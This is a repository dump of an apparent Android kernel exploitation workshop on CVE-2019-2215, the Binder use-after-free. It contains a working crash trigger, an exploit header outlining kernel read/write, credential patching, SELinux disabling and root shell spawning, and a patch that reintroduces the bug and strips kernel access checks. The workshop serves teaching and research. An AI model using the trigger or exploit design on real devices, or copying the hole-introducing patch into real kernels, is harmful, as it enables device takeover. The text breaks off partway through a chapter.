├── android-4.14-dev └── .gitkeep ├── gitbook ├── images │ ├── avd-main.png │ ├── ndk-version.png │ ├── avd-device-list.png │ ├── avd-device-definition.png │ ├── cloudfuzz-logo-white.png │ ├── epitem-eventpoll-link.png │ ├── q-x86-64-system-image.png │ ├── vectored-io-working.png │ ├── double-link-list-unlink.png │ ├── android-emulator-running.png │ ├── avd-system-image-selection.png │ ├── crash-log-free-stack-trace.png │ ├── crash-log-use-stack-trace.png │ ├── double-link-list-two-nodes.png │ ├── double-link-list-single-node.png │ ├── eventpoll-binder-thread-link.png │ ├── android-studio-configure-menu.png │ ├── android-studio-welcome-screen.png │ ├── avd-configuration-verification.png │ ├── crash-log-allocation-stack-trace.png │ ├── task-struct-leak-exploitation-flow.png │ └── binder-thread-eventpoll-link-call-graph.png ├── chapters │ ├── gdb-macros.md │ ├── resources.md │ ├── vulnerability-discovery.md │ ├── environment-setup.md │ ├── scripted-privilege-escalation.md │ ├── vulnerability-trigger.md │ └── linux-privilege-escalation.md ├── README.md ├── book.json └── SUMMARY.md ├── Dockerfile ├── .gitignore ├── custom-manifest └── default.xml ├── .github └── workflows │ └── main.yml ├── README.md ├── exploit ├── trigger.cpp ├── Makefile ├── CMakeLists.txt ├── exploit.h ├── common.h └── exploit.cpp ├── patch └── cve-2019-2215.patch ├── gdb ├── dynamic-analysis.py └── root-me.py └── LICENSE /android-4.14-dev/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /gitbook/images/avd-main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-main.png -------------------------------------------------------------------------------- /gitbook/images/ndk-version.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/ndk-version.png -------------------------------------------------------------------------------- /gitbook/images/avd-device-list.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-device-list.png -------------------------------------------------------------------------------- /gitbook/images/avd-device-definition.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-device-definition.png -------------------------------------------------------------------------------- /gitbook/images/cloudfuzz-logo-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/cloudfuzz-logo-white.png -------------------------------------------------------------------------------- /gitbook/images/epitem-eventpoll-link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/epitem-eventpoll-link.png -------------------------------------------------------------------------------- /gitbook/images/q-x86-64-system-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/q-x86-64-system-image.png -------------------------------------------------------------------------------- /gitbook/images/vectored-io-working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/vectored-io-working.png -------------------------------------------------------------------------------- /gitbook/images/double-link-list-unlink.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/double-link-list-unlink.png -------------------------------------------------------------------------------- /gitbook/images/android-emulator-running.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/android-emulator-running.png -------------------------------------------------------------------------------- /gitbook/images/avd-system-image-selection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-system-image-selection.png -------------------------------------------------------------------------------- /gitbook/images/crash-log-free-stack-trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/crash-log-free-stack-trace.png -------------------------------------------------------------------------------- /gitbook/images/crash-log-use-stack-trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/crash-log-use-stack-trace.png -------------------------------------------------------------------------------- /gitbook/images/double-link-list-two-nodes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/double-link-list-two-nodes.png -------------------------------------------------------------------------------- /gitbook/images/double-link-list-single-node.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/double-link-list-single-node.png -------------------------------------------------------------------------------- /gitbook/images/eventpoll-binder-thread-link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/eventpoll-binder-thread-link.png -------------------------------------------------------------------------------- /gitbook/images/android-studio-configure-menu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/android-studio-configure-menu.png -------------------------------------------------------------------------------- /gitbook/images/android-studio-welcome-screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/android-studio-welcome-screen.png -------------------------------------------------------------------------------- /gitbook/images/avd-configuration-verification.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-configuration-verification.png -------------------------------------------------------------------------------- /gitbook/images/crash-log-allocation-stack-trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/crash-log-allocation-stack-trace.png -------------------------------------------------------------------------------- /gitbook/images/task-struct-leak-exploitation-flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/task-struct-leak-exploitation-flow.png -------------------------------------------------------------------------------- /gitbook/images/binder-thread-eventpoll-link-call-graph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/binder-thread-eventpoll-link-call-graph.png -------------------------------------------------------------------------------- /gitbook/chapters/gdb-macros.md: -------------------------------------------------------------------------------- 1 | # GDB Macros 2 | 3 | These are useful **macros** that you can use during **debugging**. 4 | 5 | ``` 6 | macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb)) 7 | ``` 8 | 9 | ``` 10 | macro define containerof(_ptr, _type, _memb) ((_type *)((void *)(_ptr) - offsetof(_type, _memb))) 11 | ``` 12 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | # Fetch all essential packages for building the kernel 4 | RUN apt-get update 5 | RUN apt-get install -y git-core gnupg flex bison build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig wget python3 git make clang gcc bc 6 | RUN curl https://storage.googleapis.com/git-repo-downloads/repo > /bin/repo 7 | RUN chmod +x /bin/repo 8 | 9 | # Get env ready for fetching source code of kernel 10 | RUN git config --global user.email "you@example.com" && \ 11 | git config --global user.name "Your Name" -------------------------------------------------------------------------------- /gitbook/README.md: -------------------------------------------------------------------------------- 1 | # Android Kernel Exploitation 2 | 3 | ## Objective 4 | 5 | The objective of this workshop is to get started with **kernel vulnerability analysis** and **exploitation** in **Android** platform. 6 | 7 | 8 | ## Workshop Stream 9 | 10 |
11 | Android Kernel Exploitation 12 |
13 | 14 | 15 | ## Author 16 | 17 | **Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**. 18 | 19 |

20 | CloudFuzz 21 |

22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Gitbook Rules 2 | 3 | # Node rules: 4 | ## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 5 | .grunt 6 | 7 | ## Dependency directory 8 | ## Commenting this out is preferred by some people, see 9 | ## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git 10 | node_modules 11 | 12 | # Book build output 13 | _book 14 | 15 | # eBook build output 16 | *.epub 17 | *.mobi 18 | *.pdf 19 | 20 | 21 | # C/C++ rules 22 | 23 | # IntelliJ 24 | .idea 25 | 26 | # CMake 27 | cmake-build-*/ 28 | 29 | # compiled binary 30 | cve-2019-2215* 31 | 32 | # Android source directory 33 | android-4.14-dev/* 34 | !android-4.14-dev/.gitkeep 35 | 36 | # Patch folder is not getting included 37 | !patch/* 38 | -------------------------------------------------------------------------------- /gitbook/book.json: -------------------------------------------------------------------------------- 1 | { 2 | "title": "Android Kernel Exploitation", 3 | "author": "Ashfaq Ansari (@HackSysTeam)", 4 | "plugins": [ 5 | "-livereload", 6 | "-highlight", 7 | "collapsible-chapters", 8 | "github", 9 | "sharing", 10 | "ga", 11 | "prism", 12 | "prism-themes" 13 | ], 14 | "pluginsConfig": { 15 | "fontsettings": { 16 | "theme": "night", 17 | "family": "sans" 18 | }, 19 | "github": { 20 | "url": "https://github.com/cloudfuzz/android-kernel-exploitation" 21 | }, 22 | "ga": { 23 | "token": "UA-163782039-1" 24 | }, 25 | "prism": { 26 | "css": [ 27 | "prism-themes/themes/prism-atom-dark.css" 28 | ] 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /custom-manifest/default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | name: Build and Deploy Gitbook 2 | on: 3 | push: 4 | branches: 5 | - master 6 | 7 | jobs: 8 | build-and-deploy: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - name: Setup Node JS 🚢 12 | uses: actions/setup-node@v1 13 | with: 14 | node-version: "10.x" 15 | 16 | - name: Checkout Repository 🛎️ 17 | uses: actions/checkout@v2 18 | with: 19 | persist-credentials: false 20 | 21 | - name: Install and Build 🔧 22 | run: | 23 | echo "Installing Gitbook CLI" 24 | sudo npm install gitbook-cli -g 25 | echo "Changing directory to gitbook" 26 | cd gitbook 27 | echo "Installing Gitbook Plugins" 28 | gitbook install 29 | echo "Building Gitbook" 30 | gitbook build . ../build 31 | echo "Removing node_modules directory" 32 | git clean -fx node_modules 33 | 34 | - name: Deploy 🚀 35 | uses: JamesIves/github-pages-deploy-action@3.4.8 36 | with: 37 | ACCESS_TOKEN: ${{ secrets.ACCESS_TOKEN }} 38 | BRANCH: gh-pages 39 | FOLDER: build 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Android Kernel Exploitation 2 | 3 | ## Objective 4 | 5 | The objective of this workshop is to get started with **kernel vulnerability analsysis** and **exploitation** in **Android** platform. 6 | 7 | 8 | ## Usage 9 | 10 | Clone the repository 11 | 12 | ```bash 13 | git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop 14 | ``` 15 | 16 | 17 | ## Github Pages URL 18 | 19 | https://cloudfuzz.github.io/android-kernel-exploitation/ 20 | 21 | 22 | ## Workshop Stream 23 | 24 |
25 | Android Kernel Exploitation 26 |
27 | 28 | 29 | ## Docker for building kernel 30 | ```bash 31 | # Build the docker image 32 | docker build -t and-build-env . 33 | # Run the docker 34 | docker run -d --rm -it and-build-env 35 | # Get shell in docker image to do further work 36 | ``` 37 | 38 | ## Author 39 | 40 | **Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**. 41 | 42 |

43 | CloudFuzz 44 |

45 | -------------------------------------------------------------------------------- /exploit/trigger.cpp: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | ## # # ### ### ### # ### ### ### # ### 4 | # # # # # # # ## # # # # ## # 5 | # # # ## ### ### # # # ### ### ### ### # ### 6 | # # # # # # # # # # # # # 7 | ## # ### ### ### ### ### ### ### ### ### 8 | @HackSysTeam 9 | 10 | CVE-2019-2215 11 | Android Binder Use after Free 12 | CloudFuzz TechnoLabs Pvt. Ltd. 13 | 14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ 15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html 17 | 18 | Thanks: 19 | @maddiestone 20 | @tehjh 21 | 22 | --*/ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | 30 | #define BINDER_THREAD_EXIT 0x40046208ul 31 | 32 | 33 | int main() { 34 | int fd, epfd; 35 | struct epoll_event event = {.events = EPOLLIN}; 36 | 37 | fd = open("/dev/binder", O_RDONLY); 38 | epfd = epoll_create(1000); 39 | epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); 40 | ioctl(fd, BINDER_THREAD_EXIT, NULL); 41 | } 42 | -------------------------------------------------------------------------------- /exploit/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile for CVE-2019-2215 3 | # 4 | # NDK_ROOT=/home/ashfaq/Android/Sdk/ndk/21.0.6113669 make 5 | # 6 | 7 | CXX := clang++ 8 | CXXFLAGS := -static -O3 -Wall -Wextra 9 | 10 | ARCH := x86_64 11 | NDK_API ?= 29 12 | CROSS_COMPILE := $(NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64 13 | TARGET_PLATFORM := $(ARCH)-linux-android 14 | 15 | CXX_PATH := $(CROSS_COMPILE)/bin/$(TARGET_PLATFORM)$(NDK_API)-$(CXX) 16 | 17 | TRIGGER_SRC := trigger.cpp 18 | TRIGGER_OUTPUT := cve-2019-2215-trigger 19 | EXPLOIT_SRC := exploit.cpp 20 | EXPLOIT_OUTPUT := cve-2019-2215-exploit 21 | 22 | # default rule 23 | default: all 24 | 25 | # phony rules 26 | .PHONY: all 27 | 28 | all: clean build-trigger 29 | 30 | build-trigger: 31 | @echo Building: $(TRIGGER_OUTPUT) 32 | @$(CXX_PATH) $(CXXFLAGS) -o $(TRIGGER_OUTPUT) $(TRIGGER_SRC) 33 | 34 | build-exploit: 35 | @echo Building: $(EXPLOIT_OUTPUT) 36 | @$(CXX_PATH) $(CXXFLAGS) -o $(EXPLOIT_OUTPUT) $(EXPLOIT_SRC) 37 | 38 | clean: 39 | @echo Removing: $(TRIGGER_OUTPUT) 40 | @rm -f $(TRIGGER_OUTPUT) 41 | @echo Removing: $(EXPLOIT_OUTPUT) 42 | @rm -f $(EXPLOIT_OUTPUT) 43 | 44 | push-trigger: 45 | @echo Pushing: $(TRIGGER_OUTPUT) to /data/local/tmp 46 | @adb push $(TRIGGER_OUTPUT) /data/local/tmp 47 | 48 | push-exploit: 49 | @echo Pushing: $(EXPLOIT_OUTPUT) to /data/local/tmp 50 | @adb push $(EXPLOIT_OUTPUT) /data/local/tmp 51 | -------------------------------------------------------------------------------- /gitbook/chapters/resources.md: -------------------------------------------------------------------------------- 1 | # Resources 2 | 3 | ## Linux Lightweight Process 4 | * https://en.wikipedia.org/wiki/Light-weight_process 5 | * https://medium.com/hungys-blog/linux-kernel-process-99629d91423c 6 | 7 | 8 | ## SELinux 9 | * https://source.android.com/security/selinux 10 | * https://www.redhat.com/en/topics/linux/what-is-selinux 11 | 12 | 13 | ## seccomp 14 | * https://lwn.net/Articles/656307/ 15 | 16 | 17 | ## Building Kernels 18 | * https://source.android.com/setup/build/building-kernels 19 | * https://android.googlesource.com/kernel/manifest 20 | 21 | 22 | ## Linux Kernel Source Code Cross Referencer 23 | * https://elixir.bootlin.com/linux/v4.14.171/source 24 | 25 | 26 | ## Linux Kernel Source Annotated 27 | * http://www.bricktou.com/ 28 | 29 | 30 | ## CVE-2019-2215 - Bug Report 31 | * https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ 32 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 33 | 34 | 35 | ## Vectored I/O 36 | * https://en.wikipedia.org/wiki/Vectored_I/O 37 | * https://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html 38 | * http://man7.org/linux/man-pages/man2/readv.2.html 39 | 40 | ## Exploitation 41 | * https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf 42 | * https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html 43 | * https://www.youtube.com/watch?v=TAwQ4ezgEIo 44 | * https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/ 45 | * https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/ 46 | -------------------------------------------------------------------------------- /exploit/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # CMake project for CVE-2019-2215 3 | # 4 | 5 | cmake_minimum_required(VERSION 3.12) 6 | 7 | message( 8 | " 9 | ## # # ### ### ### # ### ### ### # ### 10 | # # # # # # # ## # # # # ## # 11 | # # # ## ### ### # # # ### ### ### ### # ### 12 | # # # # # # # # # # # # # 13 | ## # ### ### ### ### ### ### ### ### ### 14 | @HackSysTeam 15 | " 16 | ) 17 | 18 | 19 | set(NDK_ROOT $ENV{HOME}/Android/Sdk/ndk/21.0.6113669) 20 | set(ADB_PATH $ENV{HOME}/Android/Sdk/platform-tools/adb) 21 | 22 | 23 | if (NOT DEFINED NDK_ROOT) 24 | if (DEFINED $ENV{NDK_ROOT}) 25 | set(NDK_ROOT "$ENV{NDK_ROOT}") 26 | else () 27 | message(FATAL_ERROR "Please define NDK_ROOT to point to your NDK path!") 28 | endif () 29 | endif () 30 | 31 | 32 | # Set the tool chain file 33 | set(CMAKE_TOOLCHAIN_FILE ${NDK_ROOT}/build/cmake/android.toolchain.cmake) 34 | set(ANDROID_ABI x86_64) 35 | set(ANDROID_PLATFORM latest) 36 | 37 | 38 | project(exploit) 39 | 40 | 41 | add_executable(cve-2019-2215-trigger trigger.cpp) 42 | add_executable(cve-2019-2215-exploit exploit.cpp) 43 | 44 | 45 | add_custom_command( 46 | TARGET cve-2019-2215-trigger 47 | POST_BUILD 48 | COMMAND ${ADB_PATH} push cve-2019-2215-trigger /data/local/tmp > /dev/null 49 | COMMENT "Pushing cve-2019-2215-trigger to device" 50 | VERBATIM 51 | ) 52 | 53 | add_custom_command( 54 | TARGET cve-2019-2215-exploit 55 | POST_BUILD 56 | COMMAND ${ADB_PATH} push cve-2019-2215-exploit /data/local/tmp > /dev/null 57 | COMMENT "Pushing cve-2019-2215-exploit to device" 58 | VERBATIM 59 | ) 60 | -------------------------------------------------------------------------------- /patch/cve-2019-2215.patch: -------------------------------------------------------------------------------- 1 | diff --git a/drivers/android/binder.c b/drivers/android/binder.c 2 | index f6ddec245187..55e2748a13e4 100644 3 | --- a/drivers/android/binder.c 4 | +++ b/drivers/android/binder.c 5 | @@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc, 6 | * waitqueue_active() is safe to use here because we're holding 7 | * the inner lock. 8 | */ 9 | + /* 10 | if ((thread->looper & BINDER_LOOPER_STATE_POLL) && 11 | waitqueue_active(&thread->wait)) { 12 | wake_up_poll(&thread->wait, POLLHUP | POLLFREE); 13 | } 14 | + */ 15 | 16 | binder_inner_proc_unlock(thread->proc); 17 | 18 | @@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc, 19 | * descriptor being closed); ep_remove_waitqueue() holds an RCU read 20 | * lock, so we can be sure it's done after calling synchronize_rcu(). 21 | */ 22 | + /* 23 | if (thread->looper & BINDER_LOOPER_STATE_POLL) 24 | synchronize_rcu(); 25 | + */ 26 | 27 | if (send_reply) 28 | binder_send_failed_reply(send_reply, BR_DEAD_REPLY); 29 | diff --git a/lib/iov_iter.c b/lib/iov_iter.c 30 | index 7b2fd5f251f2..67af61637f55 100644 31 | --- a/lib/iov_iter.c 32 | +++ b/lib/iov_iter.c 33 | @@ -132,19 +132,21 @@ 34 | 35 | static int copyout(void __user *to, const void *from, size_t n) 36 | { 37 | - if (access_ok(VERIFY_WRITE, to, n)) { 38 | + /*if (access_ok(VERIFY_WRITE, to, n)) { 39 | kasan_check_read(from, n); 40 | n = raw_copy_to_user(to, from, n); 41 | - } 42 | + }*/ 43 | + n = raw_copy_to_user(to, from, n); 44 | return n; 45 | } 46 | 47 | static int copyin(void *to, const void __user *from, size_t n) 48 | { 49 | - if (access_ok(VERIFY_READ, from, n)) { 50 | + /*if (access_ok(VERIFY_READ, from, n)) { 51 | kasan_check_write(to, n); 52 | n = raw_copy_from_user(to, from, n); 53 | - } 54 | + }*/ 55 | + n = raw_copy_from_user(to, from, n); 56 | return n; 57 | } 58 | 59 | -------------------------------------------------------------------------------- /exploit/exploit.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | ## # # ### ### ### # ### ### ### # ### 4 | # # # # # # # ## # # # # ## # 5 | # # # ## ### ### # # # ### ### ### ### # ### 6 | # # # # # # # # # # # # # 7 | ## # ### ### ### ### ### ### ### ### ### 8 | @HackSysTeam 9 | 10 | CVE-2019-2215 11 | Android Binder Use after Free 12 | CloudFuzz TechnoLabs Pvt. Ltd. 13 | 14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ 15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html 17 | 18 | Thanks: 19 | @maddiestone 20 | @tehjh 21 | 22 | --*/ 23 | 24 | #pragma once 25 | 26 | #ifndef __EXPLOIT_H__ 27 | #define __EXPLOIT_H__ 28 | 29 | #include "common.h" 30 | 31 | 32 | /** 33 | * Defines 34 | */ 35 | 36 | #define BINDER_THREAD_EXIT 0x40046208ul 37 | #define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8 38 | #define IOVEC_COUNT (int) (sizeof(struct binder_thread) / sizeof(struct iovec)) 39 | #define IOVEC_WQ_INDEX (int) (offsetof(struct binder_thread, wait) / sizeof(struct iovec)) 40 | 41 | 42 | /** 43 | * Class definition 44 | */ 45 | 46 | class BinderUaF { 47 | private: 48 | int m_epoll_fd = 0; 49 | int m_binder_fd = 0; 50 | void *m_pidAddress = nullptr; 51 | struct cred *m_cred = nullptr; 52 | void *m_credAddress = nullptr; 53 | void *m_nsproxyAddress = nullptr; 54 | int m_kernel_rw_pipe_fd[2] = {0}; 55 | void *m_4gb_aligned_page = nullptr; 56 | struct task_struct *m_task_struct = nullptr; 57 | struct epoll_event m_epoll_event = {.events = EPOLLIN}; 58 | 59 | 60 | public: 61 | BinderUaF() { 62 | INFO(BANNER); 63 | }; 64 | 65 | void bindToCPU(); 66 | 67 | void initKernelReadWritePipe(); 68 | 69 | void setupBinder(); 70 | 71 | void freeBinderThread(); 72 | 73 | void setupEventPoll(); 74 | 75 | void mmap4gbAlignedPage(); 76 | 77 | void linkEventPollWaitQueueToBinderThreadWaitQueue(); 78 | 79 | void unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); 80 | 81 | void leakTaskStruct(); 82 | 83 | void clobberAddrLimit(); 84 | 85 | void verifyArbitraryReadWrite(); 86 | 87 | void patchCred(); 88 | 89 | void verifyRoot(); 90 | 91 | void disableSELinuxEnforcing(); 92 | 93 | void spawnRootShell(); 94 | 95 | void kRead(void *Address, size_t Length, void *uBuffer); 96 | 97 | void kWrite(void *Address, size_t Length, void *uBuffer); 98 | 99 | uint64_t kReadQword(void *Address); 100 | 101 | uint32_t kReadDword(void *Address); 102 | 103 | void kWriteQword(void *Address, uint64_t Value); 104 | 105 | void kWriteDword(void *Address, uint32_t Value); 106 | }; 107 | 108 | #endif //__EXPLOIT_H__ 109 | -------------------------------------------------------------------------------- /gitbook/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * [Introduction](README.md) 4 | * [Environment Setup](chapters/environment-setup.md) 5 | * [Hardware Requirements](chapters/environment-setup.md#hardware-requirements) 6 | * [Software Requirements](chapters/environment-setup.md#software-requirements) 7 | * [GDB](chapters/environment-setup.md#gdb) 8 | * [Workshop Repository](chapters/environment-setup.md#workshop-repository) 9 | * [Android Studio](chapters/environment-setup.md#android-studio) 10 | * [Android NDK](chapters/environment-setup.md#android-ndk) 11 | * [Android Virtual Device](chapters/environment-setup.md#android-virtual-device) 12 | * [Android Kernel Source Code](chapters/environment-setup.md#android-kernel-source-code) 13 | * [Linux Privilege Escalation](chapters/linux-privilege-escalation.md) 14 | * [Light Weight Process](chapters/linux-privilege-escalation.md#light-weight-process) 15 | * [Process Credentials](chapters/linux-privilege-escalation.md#process-credentials) 16 | * [SELinux](chapters/linux-privilege-escalation.md#selinux) 17 | * [selinux_enforcing](chapters/linux-privilege-escalation.md#selinux-enforcing) 18 | * [SecComp](chapters/linux-privilege-escalation.md#seccomp) 19 | * [Vulnerability Discovery](chapters/vulnerability-discovery.md) 20 | * [Original Discovery](chapters/vulnerability-discovery.md#original-discovery) 21 | * [Rediscovery](chapters/vulnerability-discovery.md#rediscovery) 22 | * [Patch](chapters/vulnerability-discovery.md#patch) 23 | * [Vulnerability Trigger](chapters/vulnerability-trigger.md) 24 | * [Reintroduction](chapters/vulnerability-trigger.md#reintroduction) 25 | * [Build Kernel With KASan](chapters/vulnerability-trigger.md#build-kernel-with-kasan) 26 | * [Boot Kernel](chapters/vulnerability-trigger.md#boot-kernel) 27 | * [Crash](chapters/vulnerability-trigger.md#crash) 28 | * [KASan Symbolizer](chapters/vulnerability-trigger.md#kasan-symbolizer) 29 | * [Scripted Privilege Escalation](chapters/scripted-privilege-escalation.md) 30 | * [Kernel Debugging](chapters/scripted-privilege-escalation.md#kernel-debugging) 31 | * [Root Cause Analysis](chapters/root-cause-analysis.md) 32 | * [Revisiting Crash](chapters/root-cause-analysis.md#revisiting-crash) 33 | * [Allocation](chapters/root-cause-analysis.md#revisiting-crash-allocation) 34 | * [Free](chapters/root-cause-analysis.md#revisiting-crash-free) 35 | * [Use](chapters/root-cause-analysis.md#revisiting-crash-use) 36 | * [Visual Studio Code](chapters/root-cause-analysis.md#visual-studio-code) 37 | * [Static Analysis](chapters/root-cause-analysis.md#static-analysis) 38 | * [open](chapters/root-cause-analysis.md#syscall-open) 39 | * [epoll_create](chapters/root-cause-analysis.md#syscall-epoll-create) 40 | * [epoll_ctl](chapters/root-cause-analysis.md#syscall-epoll-ctl) 41 | * [ioctl](chapters/root-cause-analysis.md#syscall-ioctl) 42 | * [ep_remove](chapters/root-cause-analysis.md#syscall-ep-remove) 43 | * [Static Analysis Recap](chapters/root-cause-analysis.md#static-analysis-recap) 44 | * [Dynamic Analysis](chapters/root-cause-analysis.md#dynamic-analysis) 45 | * [hw.cpu.ncore](chapters/root-cause-analysis.md#hw-cpu-ncore) 46 | * [Build Kernel Without KASan](chapters/root-cause-analysis.md#build-kernel-without-kasan) 47 | * [Kernel Tracing](chapters/root-cause-analysis.md#kernel-tracing) 48 | * [Exploitation](chapters/exploitation.md) 49 | * [Primitive](chapters/exploitation.md#primitive) 50 | * [Corruption Target](chapters/exploitation.md#corruption-target) 51 | * [Leaking task_struct\*](chapters/exploitation.md#leaking-task-struct-pointer) 52 | * [Clobber addr_limit](chapters/exploitation.md#clobber-addr-limit) 53 | * [Exploit In Action](chapters/exploitation.md#exploit-in-action) 54 | * [GDB Macros](chapters/gdb-macros.md) 55 | * [Resources](chapters/resources.md) 56 | -------------------------------------------------------------------------------- /gitbook/chapters/vulnerability-discovery.md: -------------------------------------------------------------------------------- 1 | # Vulnerability Discovery 2 | 3 | We are going to look at `CVE-2019-2215` which is a `Use after Free` vulnerability in **Binder IPC** subsystem. 4 | 5 | This is a very **severe** vulnerability because **binder** subsystem is reachable from **Chrome sandbox** and can lead to privilege escalation if chained with a **renderer exploit**. 6 | 7 | 8 | ## Original Discovery {#original-discovery} 9 | 10 | This bug was initially discovered by **syzbot (syzkaller bot)** in the month of **November 2017** without a reproducer. In the month of **December 2017** **syzbot** was able to find a reproducer. You can find the original bug report here https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ 11 | 12 | This bug was patched in **February 2018** without a **CVE** number. Hence, the patch was not **back-ported** to many already released devices like **Pixel** and **Pixel 2**. 13 | 14 | 15 | ## Rediscovery {#rediscovery} 16 | 17 | This bug was rediscovered by **Maddie Stone (@maddiestone)** of **Project Zero** based on an intelligence report from Google's **Threat Analysis Group (TAG)**. She reported this vulnerability on **27th September 2019**. You can find Maddie's report here https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 18 | 19 | The rediscovery of this bug is very interesting, **Maddie** documented it with the exploitation primitive here https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html 20 | 21 | I strongly suggest you all to read the blog post, so that you know the interesting story about the rediscovery of this bug. 22 | 23 | 24 | ## Patch {#patch} 25 | 26 | This bug got *patched* in `q-goldfish-android-goldfish-4.14-dev` with commit id `7a3cee43e935b9d526ad07f20bf005ba7e74d05b`. 27 | 28 | ```bash 29 | ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/ 30 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b 31 | ``` 32 | 33 | ```diff 34 | commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b 35 | Author: Martijn Coenen 36 | Date: Fri Jan 5 11:27:07 2018 +0100 37 | 38 | ANDROID: binder: remove waitqueue when thread exits. 39 | 40 | commit 